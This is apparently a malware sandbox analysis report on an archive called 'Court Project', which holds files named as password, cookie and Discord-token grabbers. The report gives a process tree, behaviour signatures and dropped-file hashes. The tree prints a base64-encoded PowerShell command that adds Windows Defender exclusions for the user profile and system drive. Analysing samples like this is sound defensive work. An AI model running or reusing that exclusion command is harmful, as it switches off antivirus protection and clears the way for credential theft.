Overview

overview

10

Static

static

10

Court.Proj....1.rar

windows11-21h2-x64

7

Court Proj...ME.txt

windows11-21h2-x64

1

Court Proj...IO.exe

windows11-21h2-x64

7

Court Proj...ct.exe

windows11-21h2-x64

9

discord_to...er.pyc

windows11-21h2-x64

3

get_cookies.pyc

windows11-21h2-x64

3

misc.pyc

windows11-21h2-x64

3

passwords_grabber.pyc

windows11-21h2-x64

3

source_prepared.pyc

windows11-21h2-x64

3

Court Proj...oS.txt

windows11-21h2-x64

3

Court Proj...fo.exe

windows11-21h2-x64

3

Court Proj...ing.py

windows11-21h2-x64

3

Court Proj...ker.py

windows11-21h2-x64

3

Court Proj...ep.txt

windows11-21h2-x64

3

Court Proj...mer.py

windows11-21h2-x64

3

Court Proj...de.txt

windows11-21h2-x64

3

Court Proj...za.txt

windows11-21h2-x64

3

Court Proj...at.txt

windows11-21h2-x64

3

Court Proj...ch.txt

windows11-21h2-x64

3

Court Proj...ab.txt

windows11-21h2-x64

3

Court Proj...up.exe

windows11-21h2-x64

6

Court Proj...one.py

windows11-21h2-x64

3

Court Proj...pic.py

windows11-21h2-x64

3

Court Proj...ox.txt

windows11-21h2-x64

3

Resubmissions

01/11/2025, 17:32

251101-v4e3vaey7f10

01/11/2025, 17:25

251101-vzl1laej5y10

09/03/2025, 02:31

250309-cz3z1aw1gv

09/03/2025, 02:31

250309-czqdxaw1fy

25/12/2024, 11:40

241225-ns1f3ssmct10

16/09/2024, 14:19

240916-rm5emascmp

16/09/2024, 14:18

240916-rmcplsscjj

01/08/2024, 04:21

240801-eyvcks1grk

30/06/2024, 22:00

240630-1wpj7szfnn

20/06/2024, 19:48

240620-yh42mavcpg

Analysis

  • max time kernel
    515s
  • max time network
    508s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/11/2025, 17:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Court.Project.V1.1.rar
  • Size 89.8MB
  • Sample251101-v4e3vaey7f
  • SHA256 aa2bc6bdab3c1cd9cc94e92a00f2501ffd6bef384e69e605b9533ee4a9af2fcc
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • .NET Reactor proctector 1 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 9 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 36 IoCs
  • Suspicious use of SendNotifyMessage 14 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Court.Project.V1.1.rar"
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2988
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:2412
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Modifies registry class
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4212
      • C:\Program Files\7-Zip\7zFM.exe
        "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Court.Project.V1.1.rar"
        2⤵
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4820
        • C:\Windows\system32\NOTEPAD.EXE
          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zO4D224CFB\@README.txt
          3⤵
            PID:5440
          • C:\Users\Admin\AppData\Local\Temp\7zO4D21615D\AIO.exe
            "C:\Users\Admin\AppData\Local\Temp\7zO4D21615D\AIO.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:5780
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAcgBzACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAZQB0ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBmACAAbgBvAHQAIABlAHYAZQByAHkAdABoAGkAbgBnACAAVwBvAHIAawBzACAAUAByAG8AcABlAHIAbAB5ACAASQBuAHMAdABhAGwAbAAgAFAAeQB0AGgAbwBuACcALAAnACcALAAnAE8ASwAnACwAJwBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AJwApADwAIwBwAHQAdAAjAD4A"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4748
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAbQBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZwB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAdABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAZQB5ACMAPgA="
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1372
            • C:\Users\Admin\AppData\Local\Temp\Dox Tool V2.exe
              "C:\Users\Admin\AppData\Local\Temp\Dox Tool V2.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:960
            • C:\Users\Admin\AppData\Local\Temp\IS.Setup.exe
              "C:\Users\Admin\AppData\Local\Temp\IS.Setup.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Enumerates connected drives
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:5640
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Modifies registry class
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        PID:3580
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 26C6E5B9614679B8B5187A815A0AD77B C
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:5492
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2980
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd078edcf8,0x7ffd078edd04,0x7ffd078edd10
          2⤵
            PID:2960
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1924,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=1920 /prefetch:2
            2⤵
              PID:404
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1480,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2244 /prefetch:11
              2⤵
                PID:684
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2376,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2392 /prefetch:13
                2⤵
                  PID:3772
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3216,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=3240 /prefetch:1
                  2⤵
                    PID:564
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3236,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=3480 /prefetch:1
                    2⤵
                      PID:5136
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4160,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=4188 /prefetch:9
                      2⤵
                        PID:5512
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4688,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=4668 /prefetch:1
                        2⤵
                          PID:4824
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5288,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5220 /prefetch:14
                          2⤵
                            PID:2984
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5376,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5408 /prefetch:14
                            2⤵
                              PID:1208
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5020,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5284 /prefetch:14
                              2⤵
                                PID:5392
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5688,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5696 /prefetch:14
                                2⤵
                                  PID:1236
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5692,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5420 /prefetch:14
                                  2⤵
                                    PID:6068
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5748,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5708 /prefetch:14
                                    2⤵
                                      PID:3032
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5796,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5812 /prefetch:1
                                      2⤵
                                        PID:4772
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5536,i,5467425275822954479,8667852046952848050,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=5440 /prefetch:1
                                        2⤵
                                          PID:4292
                                      • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                        "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                        1⤵
                                          PID:2996
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                          1⤵
                                            PID:2296
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                            1⤵
                                              PID:5200

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  BrowsingTopicsState
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                  • Size 649B
                                                  • SHA256 3058190b8b099b97516d75d90e21c216fcfa5a575e05b5ef8982077b78fa3cf9
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SCT Auditing Pending Reports
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                  • Size 2B
                                                  • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  Preferences
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                  • Size 10KB
                                                  • SHA256 4541a5d5bd878f863be3ae250950610870c1abd56f78101ca3f50caf6b875680
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  Preferences
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                  • Size 10KB
                                                  • SHA256 06f5b1b06fee89740f1e3ef8c6bd921babce7a234b5068d35b5aabe40913e55f
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  Secure Preferences
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                  • Size 18KB
                                                  • SHA256 0ae03092d6fc23aefe43e918783c02acedc80b26b3aa41b59f2ac65eab256619
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  the-real-index
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                  • Size 72B
                                                  • SHA256 7543b2e9192c08321f99e9d54b15acad928a3caac35129c7ac7d21a42c0c874c
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  the-real-index~RFe5f3ddd.TMP
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5f3ddd.TMP
                                                  • Size 48B
                                                  • SHA256 68bad83399a9b127ac210e53716a503a6cde7100221a840e38d6a0a7fd007614
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  Local State
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                  • Size 228KB
                                                  • SHA256 d6296c3a0d114791681371a0f20d24d1d23a89a47b97758ab27591a25890d9f9
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  Local State
                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                  • Size 117KB
                                                  • SHA256 7c7e7b236279a16c1214f2e4c4289c16ba6a6c1426f6c775347bf22f3060362e
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  powershell.exe.log
                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                  • Size 2KB
                                                  • SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  StartupProfileData-NonInteractive
                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 17KB
                                                  • SHA256 36d4becb1183fb90fc8bba860a578d44e7b2c7230f6bd72a578314a32ae0e935
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  @README.txt
                                                  • Path C:\Users\Admin\AppData\Local\Temp\7zO4D224CFB\@README.txt
                                                  • Size 208B
                                                  • SHA256 83d7d13a55b4696bd0021c76dab1f99eceb54d3357ca2b9a3af64d4b164c4e7d
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  PrepareDlgProgress.gif
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\PrepareDlgProgress.gif
                                                  • Size 24KB
                                                  • SHA256 0ee7650c7faf97126ddbc7d21812e093af4f2317f3edcff16d2d6137d3c0544d
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  backbutton
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\backbutton
                                                  • Size 404B
                                                  • SHA256 71836c56ec4765d858dc756541123e44680f98da255faf1ece7b83d79809b1c3
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  backgroundprepare
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\backgroundprepare
                                                  • Size 134B
                                                  • SHA256 f044f542bc46464054084c63596877f06c6e2c215c0e954c4ace9787ced82787
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  browsebutton
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\browsebutton
                                                  • Size 253B
                                                  • SHA256 f4302ee2090bc7d7a27c4bc970af6eb61c050f14f0876541a8d2f32bc41b9bab
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  checkbox
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\checkbox
                                                  • Size 1KB
                                                  • SHA256 bce5b6de3a1c7af7ec14b6643da25f7c9e15bd5f1c4a38abfcddc70a5e93bdd3
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_bottom_left.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_bottom_left.bmp
                                                  • Size 66B
                                                  • SHA256 384ebd5800becadf3bd9014686e6cc09344f75ce426e966d788eb5473b28aa21
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_bottom_left_inactive.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_bottom_left_inactive.bmp
                                                  • Size 66B
                                                  • SHA256 d5e9f3533cb7d727611aafaa5af22fa07efeaec0391a011ecf9803bed867de7a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_bottom_mid.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_bottom_mid.bmp
                                                  • Size 66B
                                                  • SHA256 205209facdebf400319dbcb1020f0545d7564b9415c47497528593e344795afd
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_caption.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_caption.bmp
                                                  • Size 206B
                                                  • SHA256 0403ed31d75dcc182dd98f2b603da4c36b6325e9d159cac4371e1448244bb707
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_left.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_left.bmp
                                                  • Size 66B
                                                  • SHA256 f545ec56bc9b690a6b952471669a8316e18274d64e2ebc9e365fcf44363a125a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_left_inactive.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_left_inactive.bmp
                                                  • Size 66B
                                                  • SHA256 c93be5a7c979c534274fc1a965d26c126efa5d58c14066b14937e5aba3b9eb55
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_top_left.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_top_left.bmp
                                                  • Size 154B
                                                  • SHA256 17b5cd496d98db14e7c9757e38892883c7b378407e1f136889a9921abe040741
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  frame_top_mid.bmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\frame_top_mid.bmp
                                                  • Size 66B
                                                  • SHA256 1d59fe11b3f1951c104f279c1338fc307940268971d016ebe929a9998a5038ee
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  iconnnn.jpg
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\iconnnn.jpg
                                                  • Size 60KB
                                                  • SHA256 cd60622e290ff56e44e29d7ddc005dcefa70a7efda24a7e0075587d5039ad710
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  info
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\info
                                                  • Size 1KB
                                                  • SHA256 c155d93a173e880a9ca4cae1be71cbed5de3c6aac84e05c734ee5898400b5296
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  metrobuttonimage
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\metrobuttonimage
                                                  • Size 404B
                                                  • SHA256 16e6e7662f3a204061c18090a64a8679f10bc408be802abd2c7c0e9fe865cbb4
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  metroinstallbutton
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\metroinstallbutton
                                                  • Size 520B
                                                  • SHA256 3a0a5b69f9da7cae9fc631326ed8aa97abbaaecf2bf15d0a73169a29f3381e83
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  nextcancelbuttons
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\nextcancelbuttons
                                                  • Size 404B
                                                  • SHA256 65172283ee04f2fa18d0e57b21471be2e68017d1f61816aaaa6be070b446346f
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sys_close_down.png
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\sys_close_down.png
                                                  • Size 273B
                                                  • SHA256 4801d63bd9bdc6279765ba785b0da9e10730764a9c3645934a46c691547c0612
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sys_close_hot.png
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\sys_close_hot.png
                                                  • Size 276B
                                                  • SHA256 15405855866fa2b7c60afbc8ba720aae8f2ba7fb60bfa641dc9d10361e56f033
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sys_close_normal.png
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\sys_close_normal.png
                                                  • Size 225B
                                                  • SHA256 bbcac1632131b21d40c80ff9e14156d36366d2e7bb05eed584e9d448497152d5
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sys_min_down.png
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\sys_min_down.png
                                                  • Size 205B
                                                  • SHA256 c1d0663131fe901d890cdd9f18af8f9a553bee4848cbd978f5122e8383b5534b
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sys_min_hot.png
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\sys_min_hot.png
                                                  • Size 180B
                                                  • SHA256 bcbb601daa5a139419f3cd0f6084615574c41b837426ebff561b7846dfec038e
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sys_min_inactive.png
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\sys_min_inactive.png
                                                  • Size 175B
                                                  • SHA256 a3b59dbc5a39d551455ff838e71b5820560ca3484c6411b9d69df33d8113619c
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sys_min_normal.png
                                                  • Path C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_5640\sys_min_normal.png
                                                  • Size 238B
                                                  • SHA256 56e64eaf6349ece08005e6f7299de413ed00112d53518215d90690be2b2a4f1a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  Dox Tool V2.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\Dox Tool V2.exe
                                                  • Size 180KB
                                                  • SHA256 81fdaf72bc2de5cdef33f74d867092172c40a5c1fe86c3313f9fcd0a0c22eac8
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  IS.Setup.msi
